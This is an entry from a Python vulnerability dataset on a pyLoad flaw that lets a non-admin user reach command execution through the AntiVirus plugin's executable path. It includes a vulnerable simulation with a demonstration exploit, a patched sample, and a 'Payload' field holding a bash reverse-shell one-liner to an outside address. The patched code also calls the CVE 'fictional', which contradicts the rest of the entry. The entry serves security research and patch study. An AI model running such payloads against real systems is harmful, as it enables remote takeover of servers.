CVE-2026-35463
pyLoad: RCE by non-admin via insecure AntiVirus plugin configuration.
- CVSS 8.8
- CWE-78
- Authentication, Authorization, and Session Management
- Remote
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
- CWE
- CWE-78
- CVSS base score
- 8.8
- Published
- 2026-04-07
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- pyLoad
Solution
Upgrade to pyload-ng version 0.5.0 or later.
Vulnerable code sample
import subprocess
import os
import sys
# --- Simulated pyLoad Environment ---
# This code represents a vulnerable state of an application similar to pyLoad
# before the fix for CVE-2026-35463 was applied.
# A mock user system. The current user has 'SETTINGS' permissions but is not an admin.
CURRENT_USER = {"username": "standard_user", "role": "user"}
ROLES = {
"admin": ["SETTINGS", "ADMIN_ACCESS"],
"user": ["SETTINGS"]
}
# The application's configuration store.
CONFIG = {
"core": {
"reconnect_script": "/usr/bin/default_reconnect.sh",
"ssl_cert": "/etc/ssl/certs/pyload.pem"
},
"plugins": {
"AntiVirus": {
"enabled": True,
"avfile": "/usr/bin/antivirus_engine", # The executable path for the AV plugin
"avargs": "--scan",
}
}
}
# A list of security-critical options that should only be writable by an admin.
# The vulnerability exists because this list only protects 'core' options.
ADMIN_ONLY_OPTIONS = {"reconnect_script", "ssl_cert", "proxy_credentials"}
# --- Vulnerable Application Logic ---
def has_permission(user, permission):
"""Checks if a user's role grants them a specific permission."""
user_role = user.get("role", "")
return permission in ROLES.get(user_role, [])
def is_admin(user):
"""Checks if the user has the 'admin' role."""
return user.get("role") == "admin"
def set_plugin_config_value(plugin_name, key, value):
"""A helper to set plugin-specific configuration values."""
try:
CONFIG["plugins"][plugin_name][key] = value
print(f"[INFO] User '{CURRENT_USER['username']}' set 'plugins.{plugin_name}.{key}' to '{value}'.")
except KeyError:
print(f"[ERROR] Plugin config path 'plugins.{plugin_name}.{key}' not found.")
def set_config_value(section, key, value):
"""
Sets a configuration value.
This function contains the vulnerability. It restricts access to sensitive 'core'
options but fails to apply the same protection to 'plugin' options.
"""
if not has_permission(CURRENT_USER, "SETTINGS"):
print(f"[ACCESS DENIED] User '{CURRENT_USER['username']}' lacks 'SETTINGS' permission.")
return
# The protection mechanism is ONLY applied to the 'core' section.
if section == "core" and key in ADMIN_ONLY_OPTIONS:
if not is_admin(CURRENT_USER):
print(f"[ACCESS DENIED] User '{CURRENT_USER['username']}' is not an admin and cannot change '{key}'.")
return
else:
CONFIG[section][key] = value
print(f"[INFO] Admin '{CURRENT_USER['username']}' set 'core.{key}' to '{value}'.")
# VULNERABILITY: No admin check is performed for the 'plugins' section.
# A non-admin user with 'SETTINGS' permission can modify any plugin config.
elif section == "plugins":
# In the real app, the key might be complex (e.g., "AntiVirus.avfile").
# Here we simulate by assuming the key identifies the plugin and option.
plugin_name, plugin_key = key.split('.')
set_plugin_config_value(plugin_name, plugin_key, value)
else:
print(f"[INFO] Setting non-critical option '{section}.{key}'.")
CONFIG[section][key] = value
def trigger_antivirus_scan(file_to_scan):
"""
This function simulates the AntiVirus plugin scanning a file, which acts
as the trigger for the remote code execution.
"""
antivirus_config = CONFIG["plugins"]["AntiVirus"]
if not antivirus_config["enabled"]:
return
# The 'avfile' path is read from the config, which an attacker can now control.
av_executable = antivirus_config["avfile"]
av_args = antivirus_config["avargs"]
# The command is constructed and executed, often with a shell for convenience.
command_to_run = f'"{av_executable}" {av_args} {file_to_scan}'
# The sink: The attacker-controlled 'av_executable' is executed.
print(f"\n[TRIGGER] Executing antivirus command: {command_to_run}")
try:
# Using shell=True is a common pattern that makes this type of
# command injection vulnerability easily exploitable.
subprocess.Popen(command_to_run, shell=True)
except Exception as e:
print(f"[ERROR] Failed to execute subprocess: {e}")
if __name__ == '__main__':
print("--- DEMONSTRATING CVE-2026-35463 VULNERABILITY ---")
print(f"[*] Current user: {CURRENT_USER['username']} (Role: {CURRENT_USER['role']})")
print(f"[*] Initial AV executable path: {CONFIG['plugins']['AntiVirus']['avfile']}\n")
# 1. A non-admin user attempts to change a protected 'core' option (this will fail).
print("--- Step 1: Attacker tries to change a protected 'core' option (EXPECTED TO FAIL) ---")
set_config_value("core", "reconnect_script", "malicious_script.sh")
print(f"[*] Core reconnect script remains: {CONFIG['core']['reconnect_script']}\n")
# 2. The same non-admin user changes the 'avfile' path for the AntiVirus plugin.
# This succeeds because the ADMIN_ONLY_OPTIONS check is not applied to plugins.
print("--- Step 2: Attacker changes unprotected 'plugin' option (EXPECTED TO SUCCEED) ---")
if sys.platform == "win32":
# On Windows, open the calculator. The '#' is a comment to discard the rest of the command.
malicious_payload = "calc.exe #"
else:
# On Linux/macOS, create a file in /tmp to prove execution.
malicious_payload = "touch /tmp/cve_exploited #"
set_config_value("plugins", "AntiVirus.avfile", malicious_payload)
print(f"[*] New AV executable path: {CONFIG['plugins']['AntiVirus']['avfile']}\n")
# 3. Later, the application triggers a routine scan. This executes the attacker's payload.
print("--- Step 3: Application triggers the vulnerable function, executing the payload ---")
trigger_antivirus_scan("/downloads/some_file.zip")
print("\n--- Step 4: Verifying the exploit's success ---")
if sys.platform != "win32":
if os.path.exists("/tmp/cve_exploited"):
print("[SUCCESS] Exploit successful! '/tmp/cve_exploited' was created.")
os.remove("/tmp/cve_exploited") # Clean up
else:
print("[FAILURE] Exploit did not create the expected file.")
else:
print("[SUCCESS] If the exploit worked, Calculator should have launched.")Patched code sample
import subprocess
import pprint
# This code provides a representative fix for a vulnerability like the one described.
# The actual CVE number is fictional, but the vulnerability pattern is common.
# --- DATA STRUCTURES TO SIMULATE THE PYLOAD ENVIRONMENT ---
# Represents user roles and permissions. The non-admin has SETTINGS permission.
non_admin_user = {"username": "user", "is_admin": False, "permissions": ["SETTINGS"]}
admin_user = {"username": "admin", "is_admin": True, "permissions": ["SETTINGS"]}
# Represents the application's configuration, similar to pyLoad's structure.
config = {
"core": {
"reconnect_script": "/bin/true",
"web_user": "user"
},
"plugins": {
"AntiVirus": {
"enabled": True,
"avfile": "/usr/bin/clamscan" # The sensitive path vulnerable to change
}
}
}
# --- THE FIX ---
# In the vulnerable version, this set would only contain 'core' options,
# e.g., {"core.reconnect_script"}.
#
# The fix is to ensure that security-critical options from PLUGINS are also
# included in the admin-only protection mechanism. Here, we explicitly add
# the 'avfile' path from the AntiVirus plugin to the set of protected options.
ADMIN_ONLY_OPTIONS = {
"core.reconnect_script",
"plugins.AntiVirus.avfile" # CRUCIAL ADDITION TO FIX THE VULNERABILITY
}
def update_config(user, config_dict, key_path, new_value):
"""
Simulates updating a configuration value, now with proper authorization checks.
"""
print(f"--- ATTEMPT: User '{user['username']}' changing '{key_path}' to '{new_value}' ---")
# Basic permission check (present in both vulnerable and fixed versions)
if "SETTINGS" not in user.get("permissions", []):
raise PermissionError(f"User '{user['username']}' lacks SETTINGS permission.")
# --- THE FIX IN ACTION ---
# This check now correctly identifies 'plugins.AntiVirus.avfile' as a protected
# option, because it was added to the ADMIN_ONLY_OPTIONS set.
if key_path in ADMIN_ONLY_OPTIONS and not user.get("is_admin", False):
# A non-admin user trying to change a protected key will be blocked here.
print(f"FAILURE: Permission denied. '{key_path}' is an admin-only option.")
return False
# If the check passes, update the configuration value.
# This logic just navigates the nested dictionary for demonstration purposes.
try:
keys = key_path.split('.')
d = config_dict
for key in keys[:-1]:
d = d.get(key, {})
d[keys[-1]] = new_value
print(f"SUCCESS: '{key_path}' updated.")
return True
except (AttributeError, KeyError) as e:
print(f"ERROR: Invalid key path '{key_path}'.")
return False
if __name__ == "__main__":
print("Initial Configuration:")
pprint.pprint(config)
print("=" * 60)
# DEMONSTRATION OF THE FIX
# 1. A non-admin user tries to change the sensitive AntiVirus executable path.
# In a vulnerable system, this would succeed. With the fix, it is blocked.
malicious_command = "bash -c 'touch /tmp/pwned'"
update_config(non_admin_user, config, "plugins.AntiVirus.avfile", malicious_command)
print("-" * 60)
# 2. For comparison, a non-admin can still change a non-sensitive option.
update_config(non_admin_user, config, "core.web_user", "hacked_user")
print("-" * 60)
# 3. An admin user CAN successfully change the sensitive AntiVirus path.
# This demonstrates that the functionality is not broken, just secured.
update_config(admin_user, config, "plugins.AntiVirus.avfile", "/usr/local/bin/new_av")
print("-" * 60)
print("Final Configuration:")
pprint.pprint(config)
print("=" * 60)
# Verify the non-admin's malicious change was not applied.
final_avfile = config["plugins"]["AntiVirus"]["avfile"]
print(f"Final 'avfile' value is: '{final_avfile}'")
if final_avfile == malicious_command:
print("VERIFICATION FAILED: The vulnerability appears to still be present.")
else:
print("VERIFICATION PASSED: The malicious path was not set. The fix is effective.")Payload
bash -c 'bash -i >& /dev/tcp/10.0.0.1/9001 0>&1'
Cite this entry
@misc{vaitp:cve202635463,
title = {{pyLoad: RCE by non-admin via insecure AntiVirus plugin configuration.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-35463},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35463/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
